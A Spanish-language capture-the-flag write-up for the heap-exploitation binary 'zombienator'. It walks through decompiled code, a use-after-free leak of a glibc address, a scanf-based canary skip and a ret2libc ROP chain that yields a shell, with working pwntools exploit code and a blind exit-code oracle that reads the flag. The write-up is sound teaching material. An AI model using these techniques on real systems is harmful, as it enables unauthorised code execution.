Zombienator
10 minutos de lectura
Se nos proporciona un binario de 64 bits llamado zombienator
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Ingeniería inversa
Si abrimos el binario en Ghidra, veremos este código fuente en C descompilado para la función main
:
void main() {
ulong option;
banner();
while (true) {
while (true) {
while (true) {
printf("\n##########################\n# #\n# 1. Create Zombienator #\ n# 2. Remove Zombienator #\n# 3. Display Zombienator #\n# 4. Attack #\n# 5. Exit #\n# #\n##########################\n\n> > ");
option = read_num();
if (option != 4) break;
attack();
}
if (4 < option) goto LAB_00101a2a;
if (option != 3) break;
display();
}
if (3 < option) break;
if (option == 1) {
create();
} else {
if (option != 2) break;
removez();
}
}
LAB_00101a2a:
puts("\nGood luck!\n");
// WARNING: Subroutine does not return
exit(0x520);
}
Lo que tenemos es un menú típico de un reto de explotación del heap:
$ ./zombienator
⠀⠀⠀⠀⠀⠀⠀⠀⢀⡠⠖⠊⠉⠉⠉⠉⢉⠝⠉⠓⠦⣄
⠀⠀⠀⠀⠀⠀⢀⡴⣋⠀⠀⣤⣒⡠⢀⠀⠐⠂⠀⠤⠤⠈⠓⢦⡀
⠀⠀⠀⠀⠀⣰⢋⢬⠀⡄⣀⠤⠄⠀⠓⢧⠐⠥⢃⣴⠤⣤⠀⢀⡙⣆
⠀⠀⠀⠀⢠⡣⢨⠁⡘⠉⠀⢀⣤⡀⠀⢸⠀⢀⡏⠑⠢⣈⠦⠃⠦⡘⡆
⠀⠀⠀⠀⢸⡠⠊⠀⣇⠀⠀⢿⣿⠇⠀⡼⠀⢸⡀⠠⣶⡎⠳⣸⡠⠃⡇
⢀⠔⠒⠢⢜⡆⡆⠀⢿⢦⣤⠖⠒⢂⣽⢁⢀⠸⣿⣦⡀⢀⡼⠁⠀⠀⡇⠒⠑⡆
⡇⠀⠐⠰⢦⠱⡤⠀⠈⠑⠪⢭⠩⠕⢁⣾⢸⣧⠙⡯⣿⠏⠠⡌⠁⡼⢣⠁⡜⠁
⠈⠉⠻⡜⠚⢀⡏⠢⢆⠀⠀⢠⡆⠀⠀⣀⣀⣀⡀⠀⠀⠀⠀⣼⠾⢬⣹⡾
⠀⠀⠀⠉⠀⠉⠀⠀⠈⣇⠀⠀⠀⣴⡟⢣⣀⡔⡭⣳⡈⠃⣼⠀⠀⠀⣼⣧
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⠀⠀⣸⣿⣿⣿⡿⣷⣿⣿⣷⠀⡇⠀⠀⠀⠙⠊
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣠⠀⢻⠛⠭⢏⣑⣛⣙⣛⠏⠀⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡏⠠⠜⠓⠉⠉⠀⠐⢒⡒⡍⠐⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠒⠢⠤⣀⣀⣀⣀⣘⠧⠤⠞⠁
+--------------------+
| Threat Level: HIGH |
+--------------------+
##########################
# #
# 1. Create Zombienator #
# 2. Remove Zombienator #
# 3. Display Zombienator #
# 4. Attack #
# 5. Exit #
# #
##########################
>>
Podemos crear, eliminar y mostrar zombienators. Además, podemos atacar.
Función de asignación
En create
:
- Podemos asignar un zombienator con hasta
0x82
bytes - Podemos determinar su posición en el vector
- El número máximo de zombienators es
10
void create() {
undefined8 *puVar1;
ulong size;
ulong line;
void *p_zombie;
long in_FS_OFFSET;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf("\nZombienator\'s tier: ");
size = read_num();
if ((size < 0x83) && (size != 0)) {
printf("\nFront line (0-4) or Back line (5-9): ");
line = read_num();
if (line < 10) {
p_zombie = malloc(size);
*(void **) (z + line * 8) = p_zombie;
puVar1 = *(undefined8 **) (z + line * 8);
*puVar1 = 0x616e6569626d6f5a;
puVar1[1] = 0x6461657220726f74;
*(undefined2 *) (puVar1 + 2) = 0x2179;
*(undefined *) ((long) puVar1 + 0x12) = 0;
printf("\n%s[+] Zombienator created!%s\n", &DAT_0010203f, &DAT_00102008);
} else {
error("[-] Invalid position!");
}
} else {
error("[-] Cannot create Zombienator for this tier!");
}
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
}
Función de liberación
En removez
tenemos un problema, que es que el hueco del zombienator no se pone a NULL
cuando es liberado. Como resultado, tenemos un potencial Use After Free o incluso un double free:
void removez() {
ulong index;
long in_FS_OFFSET;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf("\nZombienator\'s position: ");
index = read_num();
if (index < 10) {
if (*(long *) (z + index * 8) == 0) {
error("[-] There is no Zombienator here!");
} else {
free(*(void **) (z + index * 8));
printf("\n%s[+] Zombienator destroyed!%s\n", &DAT_0010203f, &DAT_00102008);
}
} else {
error("[-] Invalid position!");
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
}
Función de información
La función display
mostrará todos los zombienators, no importa si están liberados o no (ya que en realidad no están eliminados del vector). Por lo tanto, tenemos un Use After Free que podemos abusar para obtener fugas de memoria:
void display() {
long in_FS_OFFSET;
ulong i;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
putchar(L'\n');
for (i = 0; i < 10; i++) {
if (*(long *) (z + i * 8) == 0) {
fprintf(stdout, "Slot [%d]: Empty\n", i);
} else {
fprintf(stdout, "Slot [%d]: %s\n", i, *(undefined8 *) (z + i * 8));
}
}
putchar(L'\n');
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
}
Por ejemplo:
$ ./zombienator
...
##########################
# #
# 1. Create Zombienator #
# 2. Remove Zombienator #
# 3. Display Zombienator #
# 4. Attack #
# 5. Exit #
# #
##########################
>> 1
Zombienator's tier: 24
Front line (0-4) or Back line (5-9): 0
[+] Zombienator created!
...
>> 3
Slot [0]: Zombienator ready!
Slot [1]: Empty
...
>> 2
Zombienator's position: 0
[+] Zombienator destroyed!
...
>> 3
Slot [0]: 8Y
Slot [1]: Empty
...
Allí tenemos una fuga de memoria: Slot [0]: 8Y
.
Función de ataque
Por último, pero no menos importante, tenemos attack
:
void attack() {
long in_FS_OFFSET;
char number;
ulong i;
double attacks [33];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf("\nNumber of attacks: ");
__isoc99_scanf("%hhd", &number);
for (i = 0; i < (ulong) (long) number; i++) {
printf("\nEnter coordinates: ");
__isoc99_scanf("%lf", attacks + i);
}
fclose(stderr);
fclose(stdout);
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
}
Aquí tenemos una vulnerabilidad Buffer Overflow ya que el vector de attacks
tiene un tamaño reservado de 33
elementos, Pero el programa nos pregunta cuántos ataques queremos. Por lo tanto, si elegimos más de 33
, introduciremos valores fuera del buffer reservado.
La diferencia con una vulnerabilidad típica de Buffer Overflow es que debemos usar números en coma flotante (double
) en lugar de bytes, pero es solo una conversión de formato.
Estrategia de explotación
Dado que el binario tiene NX y PIE habilitado, no podemos explotar el Buffer Overflow directamente, porque las direcciones del binario se ven afectadas por ASLR.
Sin embargo, podemos filtrar direcciones de Glibc con la parte de heap de este reto. Por ejemplo, podemos asignar todos los zombienators, Eliminarlos todos y mostrar su información. Obtendremos muchas fugas de memoria.
De hecho, dado que el binario usa Glibc 2.35, hay Tcache. Si liberamos más de 7 chunks del mismo tamaño, el próximo chunk liberado irá al Fast Bin (0x20
a 0x80
) o al Unsorted Bin (0x90
y tamaños superiores). Nótese que 0x82
no es un chunk de tamaño 0x80
, por lo que irá al Unsorted Bin cuando el Tcache esté lleno. Y los chunks del Unsorted Bin contienen dos punteros a Glibc en fd
y bk
que apuntan a main_arena
.
Entonces, una vez que tenemos una dirección de Glibc, podemos evadir el ASLR y encontrar gadgets de ROP para realizar una cadena ROP de ret2libc con la vulnerabilidad de Buffer Overflow.
Desarrollo del exploit
En primer lugar, utilizaremos estas funciones auxiliares:
def create(tier: int, position: int):
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b"Zombienator's tier: ", str(tier).encode())
p.sendlineafter(b'Front line (0-4) or Back line (5-9): ', str(position).encode())
def remove(position: int):
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b"Zombienator's position: ", str(position).encode())
def display():
p.sendlineafter(b'>> ', b'3')
slots = []
for _ in range(10):
p.recvuntil(b'Slot [')
p.recv(4)
slots.append(p.recvline().strip())
return slots
def attack(coordinates: List[Union[int, str]]):
p.sendlineafter(b'>> ', b'4')
p.sendlineafter(b'Number of attacks: ', str(len(coordinates)).encode())
for coordinate in coordinates:
p.sendlineafter(b'Enter coordinates: ', str(coordinate).encode())
Fugando direcciones de memoria
La primera etapa es fugar direcciones de memoria con el enfoque anterior:
gdb.attach(p, 'continue')
for i in range(10):
create(0x82, i)
for i in range(10):
remove(i)
for i, data in enumerate(display()):
print(i, data)
Y tenemos estas fugas:
$ python3 solve.py
[*] './zombienator'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './zombienator': pid 2150282
[*] running in new terminal: ['/usr/bin/gdb', '-q', './zombienator', '2150282', '-x', '/tmp/pwnunkt19g4.gdb']
[+] Waiting for debugger: Done
0 b't\xa3sV\x05'
1 b'\xd4\xe1DlbU'
2 b'D\xe0DlbU'
3 b'\xb4\xe0DlbU'
4 b'$\xe7DlbU'
5 b'\x94\xe7DlbU'
6 b'\x04\xe6DlbU'
7 b'\xe0\x9c\xc1\xf9\xb8\x7f'
8 b'Zombienator ready!'
9 b'Zombienator ready!'
[*] Switching to interactive mode
##########################
# #
# 1. Create Zombienator #
# 2. Remove Zombienator #
# 3. Display Zombienator #
# 4. Attack #
# 5. Exit #
# #
##########################
>> $
Obsérvese que tenemos una dirección de Glibc en el índice 7
. En GDB podemos determinar el offset a la dirección base:
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x000055673a0be000 0x000055673a0bf000 0x0000000000000000 r-- ./zombienator
0x000055673a0bf000 0x000055673a0c0000 0x0000000000001000 r-x ./zombienator
0x000055673a0c0000 0x000055673a0c1000 0x0000000000002000 r-- ./zombienator
0x000055673a0c1000 0x000055673a0c2000 0x0000000000002000 r-- ./zombienator
0x000055673a0c2000 0x000055673a0c3000 0x0000000000003000 rw- ./zombienator
0x000055673a374000 0x000055673a395000 0x0000000000000000 rw- [heap]
0x00007fb8f9a00000 0x00007fb8f9a28000 0x0000000000000000 r-- ./glibc/libc.so.6
0x00007fb8f9a28000 0x00007fb8f9bbd000 0x0000000000028000 r-x ./glibc/libc.so.6
0x00007fb8f9bbd000 0x00007fb8f9c15000 0x00000000001bd000 r-- ./glibc/libc.so.6
0x00007fb8f9c15000 0x00007fb8f9c19000 0x0000000000214000 r-- ./glibc/libc.so.6
0x00007fb8f9c19000 0x00007fb8f9c1b000 0x0000000000218000 rw- ./glibc/libc.so.6
0x00007fb8f9c1b000 0x00007fb8f9c28000 0x0000000000000000 rw-
0x00007fb8f9db0000 0x00007fb8f9db5000 0x0000000000000000 rw-
0x00007fb8f9db5000 0x00007fb8f9db7000 0x0000000000000000 r-- ./glibc/ld-linux-x86-64.so.2
0x00007fb8f9db7000 0x00007fb8f9de1000 0x0000000000002000 r-x ./glibc/ld-linux-x86-64.so.2
0x00007fb8f9de1000 0x00007fb8f9dec000 0x000000000002c000 r-- ./glibc/ld-linux-x86-64.so.2
0x00007fb8f9ded000 0x00007fb8f9def000 0x0000000000037000 r-- ./glibc/ld-linux-x86-64.so.2
0x00007fb8f9def000 0x00007fb8f9df1000 0x0000000000039000 rw- ./glibc/ld-linux-x86-64.so.2
0x00007ffe9c77a000 0x00007ffe9c79b000 0x0000000000000000 rw- [stack]
0x00007ffe9c7c3000 0x00007ffe9c7c7000 0x0000000000000000 r-- [vvar]
0x00007ffe9c7c7000 0x00007ffe9c7c9000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]
gef➤ p/x 0x7fb8f9c19ce0 - 0x00007fb8f9a00000
$1 = 0x219ce0
Obteniendo RCE
Esta parte debería ser sencilla, es solo una cadena ROP para un ataque ret2libc con números en coma flotante:
glibc.address = u64(display()[7].ljust(8, b'\0')) - 0x219ce0
p.success(f'Glibc base address: {hex(glibc.address)}')
rop = ROP(glibc)
payload = [0] * 33
payload += [
'.',
0,
unpack('d', p64(rop.ret.address))[0],
unpack('d', p64(rop.rdi.address))[0],
unpack('d', p64(next(glibc.search(b'/bin/sh'))))[0],
unpack('d', p64(glibc.sym.system))[0],
]
attack(payload)
p.interactive()
Básicamente, estamos introduciendo 33
números para llenar el buffer. El siguiente valor en la pila (stack) es el canario, que protege de los exploits de Buffer Overflow. Sin embargo, si este valor no se modifica antes de ejecutar la instrucción return
el programa continúa. Nótese que el programa usa scanf
para leer los números decimales. Podemos simplemente poner .
para que scanf
omita este número. A continuación, tenemos el valor de $rbp
guardado y luego el valor de $rip
guardado (la dirección de retorno). Aquí ponemos la cadena ROP de ret2libc y obtenemos una shell (es necesario un gadget ret
adicional para evitar problemas de alineación de la pila).
Si lo ejecutamos, obtendremos una shell:
$ python3 solve.py
[*] './zombienator'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './zombienator': pid 2162115
[+] Glibc base address: 0x7f6c56c00000
[*] Loaded 219 cached gadgets for 'glibc/libc.so.6'
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
Parece que ha fallado, pero tenemos una shell:
$ python3 solve.py
[*] './zombienator'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './zombienator': pid 2163908
[+] Glibc base address: 0x7fcd78a00000
[*] Loaded 219 cached gadgets for 'glibc/libc.so.6'
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ ls
$ whoami
$ whoami > whoami.txt
$ exit
$
[*] Process './zombienator' stopped with exit code 0 (pid 2163908)
[*] Got EOF while sending in interactive
$ cat whoami.txt
rocky
El problema aquí es que stdout
y stderr
se cierran en attack
, por lo que no podemos leer salidas, de comandos pero aún podemos usar stdin
.
Exfiltración de la flag
Hay varios enfoques para obtener una shell en condiciones, pero durante el CTF se me ocurrió un oráculo:
En esta situación, puedo ejecutar comandos pero no veo la salida. Con esto, intenté obtener la flag byte a byte. La idea es probar caracteres en un bucle hasta que obtengamos el correcto. En ese punto, llamamos a exit
y cerramos la conexión. Como resultado, sabremos cuándo se cerró la conexión y podremos determinar cuál es el carácter correcto.
El comando de shell que usé es este:
$ sh
$ cut -c 1-1 flag.txt | grep H
H
$ echo $?
0
$ cut -c 1-1 flag.txt | grep A
$ echo $?
1
Obsérvese que cuando el carácter es correcto, tenemos un código de salida 0
, si no, 1
. Sabiendo esto, podemos agregar && exit
Para cerrar la conexión cuando el carácter sea correcto.
Para la exfiltración remota, añadí una conversión a hexadecimal para evitar caracteres especiales:
$ cut -c 1-1 flag.txt | xxd -p | grep 480a
480a
$ cut -c 1-1 flag.txt | xxd -p | grep 410a
try:
for c in range(0x20, 0x7f):
p.sendline(f"cut -c {len(flag) + 1}-{len(flag) + 1} flag.txt | xxd -p | grep {c:02x}0a && exit".encode())
sleep(.1)
p.sendline(b'echo')
except EOFError:
flag.append(c - 1)
Además, puse una verificación en la dirección base de Glibc, para evitar errores:
if not hex(glibc.address).startswith('0x7') or not hex(glibc.address).endswith('000'):
return
Ahora, debemos ejecutar la función main
hasta que tengamos la flag completa:
if __name__ == '__main__':
flag = []
flag_prog = log.progress('Flag')
while ord('}') not in flag:
flag_prog.status(bytes(flag).decode())
with context.local(log_level='CRITICAL'):
p = get_process()
main()
p.close()
flag_prog.success(bytes(flag).decode())
Flag
Y aquí esta la flag:
$ python3 solve.py 94.237.63.93:47583
[*] './zombienator'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Flag: HTB{tc4ch3d_d0ubl3_numb3r5_4r3_0p}
El código del exploit completo está aquí: solve.py
.